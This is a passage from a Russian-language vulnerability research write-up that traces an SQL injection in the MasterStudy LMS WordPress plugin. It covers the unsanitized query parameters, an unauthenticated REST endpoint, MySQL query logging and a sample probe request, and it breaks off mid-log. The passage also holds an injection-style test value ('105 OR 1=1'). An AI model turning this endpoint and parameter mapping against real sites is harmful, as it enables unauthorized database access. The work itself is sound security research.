372             * @param $user_id
373             * @param null $course_id
374             *
375             * @return array
376             */
377            public static function get_course_statisticas( $date_start, $date_end, $user_id, $course_id = null ) {
378                    global $wpdb;
379
380                    $data    = array();
381                    $courses = StmLmsCourse::query()
382                            ->select( ' course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount' )
383                            ->asTable( 'course' )
384                            ->join( ' left join `' . $wpdb->prefix . 'stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ' )
385                            ->join( ' left join `' . $wpdb->prefix . 'posts` _order on _order.ID = order_items.`order_id` ' )
386                            ->join( ' left join ' . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
387                            ->where( 'course.post_author', $user_id )
388                            ->where_raw( " ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) " )
389                            ->where_raw( " (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) " )
390                            ->where_raw( " (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') " )
391                            ->group_by( " course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') " );
392
393                    if ( null !== $course_id ) {
394                            $courses->where( 'course.ID', $course_id )->findOne();
395                    }
396
397                    foreach ( $courses->find() as $course ) {
398                            $data[] = array(
399                                    'id'              => $course->ID,
400                                    'title'           => $course->post_title,
401                                    'amount'          => $course->amount,
402                                    'date'            => $course->date,
403                                    'backgroundColor' => rand_color( 0.50 ),
404                            );
405                    }
406
407                    return $data;
408            }
409
410            /**
411             * @param $user_id
412             * @param null $course_id
413             */
414            public static function get_course_sales_statisticas( $user_id, $course_id = null ) {
415                    global $wpdb;
416
417                    $data    = array();
418                    $courses = StmLmsCourse::query()
419                            ->select( ' course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ' )
420                            ->asTable( 'course' )
421                            ->join( ' left join `' . $wpdb->prefix . 'stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ' )
422                            ->join( ' left join `' . $wpdb->prefix . 'posts` _order on _order.ID = order_items.`order_id` ' )
423                            ->join( ' left join ' . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
424                            ->where( 'course.post_author', $user_id )
425                            ->where_raw( " ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) " )
426                            ->where_raw( " (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) " )
427                            ->group_by( ' course.ID ' );
428
429                    if ( null !== $course_id ) {
430                            $courses->where( 'course.ID', $course_id )->findOne();
431                    }
432
433                    foreach ( $courses->find() as $course ) {
434                            $data[] = array(
435                                    'id'               => $course->ID,
436                                    'title'            => $course->post_title,
437                                    'backgroundColor'  => rand_color( 0.50 ),
438                                    'order_item_count' => $course->order_item_count,
439                            );
440                    }
441
442                    return $data;
443            }
444
445    }
Между двумя версиями существует множество различий, но наш фокус направлен исключительно на уязвимость SQL-инъекции. С моих первых дней изучения CVE, связанных с SQL-инъекциями, повторяющейся темой была "прямая передача ввода" / "directly passing input", что подразумевает отсутствие санитизации. Хотя я не программист и не обладаю формальным образованием в области языков программирования, вот что я вижу, когда смотрю на этот код:
Код:
function set_order_items_total_price
function woocommerce_order_items
...

Я хочу проверить только функции, содержащие SQL-запросы. Я мог бы сразу перейти к функциям, принимающим пользовательский ввод, но было бы лучше понять, что делает каждая функция.

set_order_items_total_price
Код:
77        public static function set_order_items_total_price()
78        {
79            $is_run = get_option("stm_lms_set_order_total_price");
80            if (!$is_run) {
81                global $wpdb;
82                $prefix = $wpdb->prefix;
83                $orders = StmOrder::query()
84                    ->select(" _order.*, mete.`meta_value` as items ")
85                    ->asTable("_order")
86                    ->join(" left join " . $prefix . "postmeta as mete on (mete.post_id = _order.ID)  ")
87                    ->where_in("_order.post_type", ["stm-orders"])
88                    ->where("mete.`meta_key`", "items")
89                    ->group_by("_order.ID")
90                    ->find();
91                foreach ($orders as $order) {
92                    $total_price = 0;
93                    foreach ($order->items as $item) {
94                        $total_price += $item['price'];
95
96                        // update or create order items
97                        if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
98                            $order_items = new StmOrderItems();
99                        $order_items->order_id = $order->ID;
100                        $order_items->object_id = $item['item_id'];
101                        $order_items->price = $item['price'];
102                        $order_items->quantity = 1;
103                        $order_items->transaction = 0;
104                        $order_items->save();
105                    }
106                    update_post_meta($order->ID, "_order_total", $total_price);
107                }
108                add_option("stm_lms_set_order_total_price", "1");
109            }
110        }
Эта функция извлекает заказы и связанные с ними элементы из базы данных, рассчитывает общую цену каждого заказа, суммируя цены отдельных элементов, и обновляет элементы заказа в базе данных. После обработки всех элементов в заказе она обновляет общую цену заказа в базе данных WordPress.

woocommerce_order_items
Код:
112        public static function woocommerce_order_items()
113        {
114            $is_run = get_option("stm_lms_set_woocommerce_order_items");
115            if (!$is_run) {
116                global $wpdb;
117                $prefix = $wpdb->prefix;
118                $orders = StmOrder::query()
119                    ->select(" _order.*, meta.meta_value as items")
120                    ->asTable("_order")
121                    ->join(" left join " . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') ")
122                    ->where("_order.`post_type`", "shop_order")
123                    ->find();
124                foreach ($orders as $order) {
125                    if (isset($order->items)) {
126                        foreach ($order->items as $item) {
127                            $price = get_post_meta($item['item_id'], "_price");
128
129                            // update or create order items
130                            if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
131                                $order_items = new StmOrderItems();
132                            $order_items->order_id = $order->ID;
133                            $order_items->object_id = $item['item_id'];
134                            $order_items->price = (isset($price[0])) ? $price[0] : 0;
135                            $order_items->quantity = $item['quantity'];
136                            $order_items->transaction = 0;
137                            $order_items->save();
138                        }
139                    }
140                }
141                add_option("stm_lms_set_woocommerce_order_items", "1");
142            }
143        }
Эта функция извлекает заказы и связанные с ними элементы из базы данных. Для каждого заказа она перебирает элементы, извлекает цену каждого элемента из его метаданных и обновляет элементы заказа в базе данных.

create_table_order_items
Код:
145        public static function create_table_order_items()
146        {
147            global $wpdb;
148            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
149            $charset_collate = $wpdb->get_charset_collate();
150            $table_name = $wpdb->prefix . 'stm_lms_order_items';
151            $sql = "CREATE TABLE {$table_name} (
152                                    id bigint(20) NOT NULL AUTO_INCREMENT,
153                                    order_id bigint(20) unsigned NOT NULL,
154                                    object_id bigint(20) unsigned NOT NULL,
155                                    payout_id bigint(20) unsigned,
156                                    quantity int(11) NOT NULL,
157                                    price float(24,2),
158                                    `transaction` varchar(100),
159                                    PRIMARY KEY  (id),
160                                    KEY `{$table_name}_order_id_index` (`order_id`),
161                                    KEY `{$table_name}_object_id_index` (`object_id`),
162                                    KEY `{$table_name}_payout_id_index` (`payout_id`)
163                                    ) {$charset_collate};";
164            maybe_create_table($table_name, $sql);
165        }
Как следует из названия, эта функция создает таблицу stm_lms_order_items, выполняя SQL-запрос, показанный в коде. Она завершается использованием метода maybe_create_table (https://developer.wordpress.org/reference/functions/maybe_create_table/).

get_user_orders
Код:
194        public static function get_user_orders($offset, $limit, $params = [])
195        {
196            global $wpdb;
197            $prefix = $wpdb->prefix;
198            $user_orders = [
199                "items" => [],
200                "total" => 0,
201            ];
202            $query = StmOrder::query()
203                ->select(" _order.*, meta.* ")
204                ->asTable("_order")
205                ->join(" left join `" . $prefix . "stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID )
206                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
207                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
208
209            if (isset($params['id']) AND !empty($params['id'])) {
210                $query->where('_order.ID', $params['id']);
211            }
212
213            if (isset($params['created_date_from']) AND !empty(trim($params['created_date_from'])) AND isset($params['created_date_to']) AND !empty(trim($params['created_date_to']))) {
214                $query->where_raw('
215                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['created_date_from'])) . '" AND
216                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['created_date_to'])) . '"
217                    ');
218            }
219
220            if (isset($params['total_price']) AND !empty($params['total_price'])) {
221                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
222            }
223
224            if (isset($params['status']) AND !empty($params['status'])) {
225                $query->where_raw('
226                                    (
227                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
228                                            ( _order.post_status = "' . $params['status'] . '" )
229                                    )
230                            ');
231            }
232
233            if (isset($params['user']) AND !empty($params['user'])) {
234                $ids = [$params['user']];
235                if (!empty($ids)) {
236                    $query->where_raw('
237                                    (
238                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
239                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
240                                    )
241                            ');
242                }
243            }
244
245            if (isset($params['post_author']) AND !empty($params['post_author'])) {
246                $query->where("course.`post_author`", (int)$params['post_author']);
247            }
248
249            if (!empty($params['orderby'])) {
250                $query->sort_by(esc_sql($params['orderby']))
251                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
252            } else {
253                $query->sort_by("ID")->order(" DESC ");
254            }
255
256            $query_total = clone $query;
257
258            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT _order.ID) as count ")->findOne()->count;
259            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
260                ->group_by("_order.ID")
261                ->limit($limit)
262                ->offset($offset);
263
264            $user_orders['items'] = $query->find();
265
266            return $user_orders;
267        }
Эта функция принимает параметры, такие как $offset, $limit и $params. Из других частей кода мы узнаем, что $offset и $limit предопределены:
Код:
367            $offset = 0;
368            $limit = 10;

Что такое смещение и лимит?
Смещение
: количество строк, которые следует пропустить перед началом возврата строк в наборе результатов.
Лимит: максимальное количество строк для возврата в наборе результатов, ограничивающее запрос определенным количеством строк.

Пример в MySQL:

1708690238314.png

Изображение [3]


1708690248049.png

Изображение [4]​
Теперь, что насчет "$params"?
Массив - это базовая структура данных в программировании, которая хранит коллекцию элементов.
Код:
$dvij = array("Красивый", "с", "бородой");

echo $dvij[0]; // Результат "Красивый"
echo $dvij[2]; // Результат "бородой"
В нашем контексте массив $params позволяет настраивать запрос, включая различные критерии фильтрации, такие как id, created_date_from, created_date_to, total_price, status, user, post_author, orderby и order. Например, если мы хотим получить заказы пользователя для определенного идентификатора пользователя, мы установим параметр 'user' в массиве $params на нужный идентификатор пользователя. Параметры облегчают адаптацию запроса к конкретным потребностям.

Параметры, которые кажутся уязвимыми, включают id, total_price, status и user. Параметры $params['created_date_from'] и $params['created_date_to'] фильтруют заказы по диапазону дат создания, используя функции strtotime() и gmdate() для безопасного преобразования дат. Параметр orderby, хотя и не контролируется пользователем, санитизируется с использованием функции esc_sql(). Параметр post_author очищается с помощью (int). Например:
Код:
<?php

$params = array('post_author' => '105 OR 1=1');

echo "Chistka author: ",(int)$params['post_author'];
?>
// Результат: Chistka author: 105

get_user_order_items
Код:
276        public static function get_user_order_items($offset, $limit, $params = [])
277        {
278            global $wpdb;
279            $prefix = $wpdb->prefix;
280            $user_orders = [
281                "items" => [],
282                "total" => 0,
283                "total_price" => 0,
284            ];
285            $query = StmOrderItems::query()
286                ->select(" lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ")
287                ->asTable("lms_order_items")
288                ->join(" left join `" . $prefix . "posts` as _order on ( lms_order_items.`order_id` = _order.ID )
289                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
290                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
291
292            if (isset($params['id']) AND !empty($params['id'])) {
293                $query->where('_order.ID', $params['id']);
294            }
295
296            if (isset($params['date_from']) AND !empty(trim($params['date_from'])) AND isset($params['date_to']) AND !empty(trim($params['date_to']))) {
297                $query->where_raw('
298                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['date_from'])) . '" AND
299                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['date_to'])) . '"
300                    ');
301            }
302
303            if (isset($params['total_price']) AND !empty($params['total_price'])) {
304                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
305            }
306
307            if (isset($params['status']) AND !empty($params['status'])) {
308                $query->where_raw('
309                                    (
310                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
311                                            ( _order.post_status = "' . $params['status'] . '" )
312                                    )
313                            ');
314            }
315
316            if (isset($params['user']) AND !empty($params['user'])) {
317                $ids = [$params['user']];
318                if (!empty($ids)) {
319                    $query->where_raw('
320                                    (
321                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
322                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
323                                    )
324                            ');
325                }
326            }
327
328            if (isset($params['course_id']) AND !empty($params['course_id'])) {
329                $query->where("course.ID", $params['course_id']);
330            }
331
332            if (isset($params['author_id']) AND !empty($params['author_id']) AND $params['author_id'] != 0) {
333                $query->where("course.`post_author`", (int)$params['author_id']);
334            }
335
336            if (isset($params['completed']) AND !empty($params['completed'])) {
337                $query->join(" left join " . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
338                    ->join(" left join " . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') ")
339                    ->where_raw(" (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  ");
340            }
341
342            if (!empty($params['orderby'])) {
343                $query->sort_by(esc_sql($params['orderby']))
344                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
345            } else {
346                $query->sort_by("ID")->order(" DESC ");
347            }
348
349            $query_total = clone $query;
350            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT lms_order_items.id) as count ")->findOne()->count;
351
352            $query_total_price = clone $query;
353            $query_total_price->select(" SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ");
354            $total_price = $query_total_price->findOne()->total_price;
355            $user_orders['total_price'] = ($total_price) ? $total_price : 0;
356            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
357                ->group_by("lms_order_items.id")
358                ->limit($limit)
359                ->offset($offset);
360
361            $user_orders['items'] = $query->find();
362            return $user_orders;
363        }
Эта функция принимает те же параметры, что и предыдущая. Параметры, которые кажутся уязвимыми: id, total_price, status, user, и course_id. Параметр author_id очищается с помощью (int).

get_course_statisticas
Код:
392        public static function get_course_statisticas($date_start, $date_end, $user_id, $course_id = null)
393        {
394            global $wpdb;
395            $data = [];
396            $courses = StmLmsCourse::query()
397                ->select(" course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount")
398                ->asTable("course")
399                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
400                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
401                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
402                ->where("course.post_author", $user_id)
403                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
404                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
405                ->where_raw(" (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') ")
406                ->group_by(" course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') ");
407
408            if ($course_id != null)
409                $courses->where("course.ID", $course_id)->findOne();
410
411            foreach ($courses->find() as $course) {
412                $data[] = [
413                    "id" => $course->ID,
414                    "title" => $course->post_title,
415                    "amount" => $course->amount,
416                    "date" => $course->date,
417                    "backgroundColor" => rand_color(0.50)
418                ];
419            }
420            return $data;
421        }
Эта функция принимает параметры, такие как $date_start, $date_end, $user_id и $course_id, для извлечения данных, связанных с курсом, путем объединения нескольких таблиц и применения условий. Я не вижу никакой санитизации. Думаю, что эта функция доступна только для пользователей PRO. Хотя маловероятно, что уязвимость находится здесь, это стоит учитывать.

get_course_sales_statisticas
Код:
427        public static function get_course_sales_statisticas($user_id, $course_id = null)
428        {
429            global $wpdb;
430            $data = [];
431            $courses = StmLmsCourse::query()
432                ->select(" course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ")
433                ->asTable("course")
434                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
435                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
436                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
437                ->where("course.post_author", $user_id)
438                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
439                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
440                ->group_by(" course.ID ");
441
442            if ($course_id != null)
443                $courses->where("course.ID", $course_id)->findOne();
444
445
446
447
448            foreach ($courses->find() as $course) {
449                $data[] = [
450                    "id" => $course->ID,
451                    "title" => $course->post_title,
452                    "backgroundColor" => rand_color(0.50),
453                    "order_item_count" => $course->order_item_count
454                ];
455            }
456
457            return $data;
458        }
Аналогично предыдущей функции, она принимает параметры $user_id и $course_id. Ситуация остается неизменной.

Теперь давайте составим диаграмму с функциями и возможно уязвимыми параметрами:
ФункцияУязвимый параметр
get_user_ordersid, total_price, status, user
get_user_order_itemsid, total_price, status, user, course_id
get_course_statisticasНе вижу инпутов с пользовательской части, но санитизации тоже нет.
get_course_sales_statisticsНе вижу инпутов с пользовательской части, но санитизации тоже нет.

REST в WordPress​

REST означает Representational State Transfer, это стандартная веб-архитектура, которая использует HTTP-запросы для общения между клиентами и серверами. WordPress REST API позволяет разработчикам программно получать доступ к данным сайта WordPress, управлять ими и взаимодействовать с ними. Это включает в себя записи, страницы, медиа и многое другое, используя объекты JSON, что упрощает интеграцию с другими приложениями и сервисами.

Конечные точки (endpoint) REST в WordPress - это специфические URL, которые REST API предоставляет для взаимодействия с различными типами контента WordPress. Каждая конечная точка соответствует определенному типу ресурса, такому как записи, страницы, пользователи или пользовательские типы контента, и определяет методы (GET, POST, PUT, DELETE), которые можно использовать для взаимодействия с этим ресурсом. Конечные точки REST API можно найти, обратившись к корню API, который обычно находится по пути /wp-json/. Оттуда API предоставляет самодокументируемое руководство по доступным конечным точкам и их использованию.

Вопросы, которые я задавал себе на этом этапе, были следующие:
Как найти rest route?
Какие аргументы мне нужно использовать после того, как я rest route?

Чтобы найти остальные роуты, я решил открыть - http://localhost/index.php/wp-json. Для этого плагина насчитывается не менее 50 роутов, что довольно много. Я решил проверить тот, который имеет название функции get_user_order_items, это /lms/stm-lms/order/items. Странно, но я не вижу никаких аргументов, хотя сама функция их имеет. Угадывание в данном случае не является опцией, потому что я провожу анализ белого ящика.
Другой способ, помимо проверки директории wp-json, - это поиск PHP-файлов с функцией "register_rest_route". register_rest_route() - это функция в WordPress, используемая для создания пользовательских конечных точек REST API.
Код:
grep -rnw /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system -e "^.register_rest_route" --color
1708699484033.png

Изображение [5]​
Я открыл /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system/_core/lms/route.php
Код:
<?php
/**
 * STM LMS Order Statistics
 */
add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms/order/items',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmStatistics::get_user_orders_api();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-user/search',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                    if ( isset( $_GET['search'] ) ) {
                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                        return \stmLms\Classes\Models\StmUser::search( $_GET['search'] );
                    }

                    return array();
                },
            )
        );
    }
);


add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-user/course-list',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                    if ( isset( $_GET['author_id'] ) ) {
                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                        $user        = new \stmLms\Classes\Models\StmUser( $_GET['author_id'] );
                        $course_list = array();
                        $courses     = $user->get_courses();
                        foreach ( $courses as $course ) {
                            $course_list[] = array(
                                'id'    => $course->ID,
                                'title' => $course->post_title,
                            );
                        }

                        return $course_list;
                    }

                    return array();
                },
            )
        );
    }
);

/**
 * stm lms payout
 */
add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/settings',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'POST',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmLmsPayout::settings_payment_method();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/payment/set_default',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'POST',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmLmsPayout::payment_set_default();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/pay-now',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmLmsPayout::pay_now();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/pay-now/(?P<id>\d+)',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function ( $request ) {
                    return \stmLms\Classes\Models\StmLmsPayout::pay_now_by_payout_id( intval( $request->get_param( 'id' ) ) );
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/payed/(?P<id>\d+)',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function ( $request ) {
                    return \stmLms\Classes\Models\StmLmsPayout::payed( intval( $request->get_param( 'id' ) ) );

                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-payout/paypal-email',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'POST',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmUser::save_paypal_email();
                },
            )
        );
    }
);
В файле много функций, мне нужно проверить только функции, которые находятся в файле StmStatistics.php, потому что изменения были сделаны только в этом файле.
1708699650360.png

Изображение [6]​
Ни одна из перечисленных мной функций на самом деле не находится в rest маршруте. Но есть функция get_user_orders_api, которая находится в StmStatistics.php.
Код:
365        public static function get_user_orders_api()
366        {
367            $offset = 0;
368            $limit = 10;
369
370            if (isset($_GET['offset']) AND !empty($_GET['offset']))
371                $offset = intval($_GET['offset']);
372
373            if (isset($_GET['limit']) AND !empty($_GET['limit']))
374                $limit = intval($_GET['limit']);
375
376            $params = $_GET;
377
378            $params['completed'] = true;
379
380            if ($params['author_id'])
381                return self::get_user_order_items($offset, $limit, $params);
382        }

Так где же ты?​

Функция get_user_orders_api использует функцию get_user_order_items, которая принимает $params, которые могут быть введены пользователем. Чтобы мы могли использовать функцию get_user_order_items, мы должны использовать параметр author_id. Но, как мы знаем, параметр author_id сам очищен с использованием int. Так что уязвимость, вероятно, кроется в параметрах id, total_price, status, user или course_id.

То, что мы знаем на данный момент, это то, что наш rest маршрут - /lms/stm-lms/order/items, и теперь мы знаем доступные параметры. Таким образом, полный URL будет http://localhost/?rest_route=/lms/stm-lms/order/items. Прежде чем продолжить, я включу логирование базы данных. Чтобы это сделать:
Код:
sudo nano /etc/mysql/my.cnf
touch /var/log/mysql/mysql.log
chown mysql:mysql /var/log/mysql/mysql.log
# Добавьте эту строку
[mysqld]
general_log_file = /var/log/mysql/mysql.log
general_log = 1
#Перезагрузите mysql
service mysql restart
Теперь мы можем проверить запросы, сделанные к базе данных.
Код:
sudo tail -f /var/log/mysql/mysql.log
Я знаю, что мне нужно использовать author_id, чтобы функция get_user_order_items была использована, которая имеет другие параметры, такие как user. Я решил отправить запрос со всеми параметрами http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&id=222&total_price=333&status=444&user=555&course_id=666
Лог MySQL:
Код:
96 Connect  wordpress_user@localhost on  using Socket
                    96 Query    SET NAMES utf8mb4
                    96 Query    SET NAMES 'utf8mb4' COLLATE 'utf8mb4_unicode_520_ci'
                    96 Query    SELECT @@SESSION.sql_mode
                    96 Query    SET SESSION sql_mode='ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION'
                    96 Init DB  wordpress_db
                    96 Query    SELECT option_name, option_value FROM wp_options WHERE autoload = 'yes'
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'stm_lms_addons' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'WPLANG' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'stm_lms_paypal_settings' LIMIT 1
                    96 Query    SELECT * FROM wp_users WHERE user_login = 'admin' LIMIT 1
                    96 Query    SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id IN (1) ORDER BY umeta_id ASC
                    96 Query    SELECT * FROM wp_posts WHERE ID = 7 LIMIT 1
                    96 Query    SELECT  t.term_id
                        FROM wp_terms AS t  INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id
                        WHERE tt.taxonomy IN ('wp_theme') AND t.name IN ('twentytwentyfour')

                        LIMIT 1
                    96 Query    SELECT   wp_posts.*
                        FROM wp_posts
                        WHERE 1=1  AND (
  0 = 1
) AND wp_posts.post_type = 'wp_template_part' AND ((wp_posts.post_status = 'publish'))
                        GROUP BY wp_posts.ID
                        ORDER BY wp_posts.post_date DESC
                    96 Query    SELECT   wp_posts.*
                        FROM wp_posts
                        WHERE 1=1  AND wp_posts.post_type = 'page' AND ((wp_posts.post_status = 'publish'))

                        ORDER BY wp_posts.post_date DESC
                    96 Query    SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE post_id IN (6,7,8,9,2) ORDER BY meta_id ASC
                    96 Query    SELECT   wp_posts.ID
                                        FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
                                        WHERE 1=1  AND (
  ( wp_postmeta.meta_key = 'elementor_courses_page' AND wp_postmeta.meta_value = 'yes' )
) AND wp_posts.post_type = 'page' AND ((wp_posts.post_status = 'publish'))
                                        GROUP BY wp_posts.ID
                                        ORDER BY wp_posts.post_title ASC
                                        LIMIT 0, 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_chat_1_chat' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_chat_1_chat' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'theme_switched' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_config_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_config_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_routes_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_routes_transient' LIMIT 1
                    96 Query    SELECT  COUNT(DISTINCT lms_order_items.id) as count  FROM `wp_stm_lms_order_items`
  as lms_order_items
   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed')   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')
  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND
                                (
                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
                                        ( _order.post_status = "444" )
                                )
                          AND
                                (
                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
